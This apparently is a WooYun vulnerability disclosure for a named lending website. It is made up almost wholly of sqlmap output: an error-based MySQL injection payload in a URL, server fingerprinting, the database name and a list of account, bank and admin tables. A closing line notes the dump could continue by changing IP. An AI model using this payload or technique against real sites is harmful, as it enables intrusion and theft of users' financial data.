WooYun.org

sqlmap identified the following injection points with a total of 70 HTTP(s) requests:
---
Place: URI
Parameter: #1*
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: http://shenghaodai.com:80/invest/full_success/a20150800024 AND (SELECT 5926 FROM(SELECT COUNT(*),CONCAT(0x716e6c6a71,(SELECT (CASE WHEN (5926=5926) THEN 1 ELSE 0 END)),0x7173656971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a).html
---
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.10
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: http://shenghaodai.com:80/invest/full_success/a20150800024 AND (SELECT 5926 FROM(SELECT COUNT(*),CONCAT(0x716e6c6a71,(SELECT (CASE WHEN (5926=5926) THEN 1 ELSE 0 END)),0x7173656971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a).html
---
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.10
back-end DBMS: MySQL 5.0
current database:    'new_jqg2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: http://shenghaodai.com:80/invest/full_success/a20150800024 AND (SELECT 5926 FROM(SELECT COUNT(*),CONCAT(0x716e6c6a71,(SELECT (CASE WHEN (5926=5926) THEN 1 ELSE 0 END)),0x7173656971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a).html
---
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.10
back-end DBMS: MySQL 5.0
Database: new_jqg2
[75 tables]
+---------------------------------+
| jqg_account                     |
| jqg_account_balance             |
| jqg_account_bank                |
| jqg_account_cash                |
| jqg_account_log                 |
| jqg_account_payment             |
| jqg_account_recharge            |
| jqg_account_users               |
| jqg_account_users_bank          |
| jqg_account_web                 |
| jqg_amount_type                 |
| jqg_approve                     |
| jqg_approve_edu                 |
| jqg_approve_edu_id5             |
| jqg_approve_flow                |
| jqg_approve_id5                 |
| jqg_approve_invite              |
| jqg_approve_realname            |
| jqg_approve_sms                 |
| jqg_approve_smslog              |
| jqg_approve_video               |
| jqg_areas                       |
| jqg_article_fields              |
| jqg_articles                    |
| jqg_articles_fields             |
| jqg_articles_pages              |
| jqg_articles_type               |
| jqg_attestations                |
| jqg_attestations_type           |
| jqg_attestations_user           |
| jqg_borrow                      |
| jqg_borrow_amount               |
| jqg_borrow_amount_apply         |
| jqg_borrow_amount_log           |
| jqg_borrow_amount_type          |
| jqg_borrow_auto                 |
| jqg_borrow_autolog              |
| jqg_borrow_change               |
| jqg_borrow_count                |
| jqg_borrow_count_log            |
| jqg_borrow_credit               |
| jqg_borrow_line                 |
| jqg_borrow_otherloan            |
| jqg_borrow_recover              |
| jqg_borrow_repay                |
| jqg_borrow_shenqing             |
| jqg_borrow_tender               |
| jqg_borrow_tender_auto          |
| jqg_borrow_tender_autolog       |
| jqg_borrow_tender_web           |
| jqg_borrow_vouch                |
| jqg_borrow_vouch_recover        |
| jqg_borrow_vouch_repay          |
| jqg_comment                     |
| jqg_comments                    |
| jqg_common_admincp_cmenu        |
| jqg_common_admincp_group        |
| jqg_common_admincp_member       |
| jqg_common_admincp_perm         |
| jqg_common_admincp_session      |
| jqg_common_admingroup           |
| jqg_common_adminnote            |
| jqg_common_advertisement        |
| jqg_common_advertisement_custom |
| jqg_common_banned               |
| jqg_common_block                |
| jqg_common_block_favorite       |
| jqg_common_block_item           |
| jqg_common_block_item_data      |
| jqg_common_block_permission     |
| jqg_common_block_pic            |
| jqg_common_block_style          |
| jqg_common_block_xml            |
| jqg_common_cache                |
| jqg_common_card                 |
+---------------------------------+
中间出错，390多张表，只出来这些，其他换ip可以继续搞，只为证明，不深入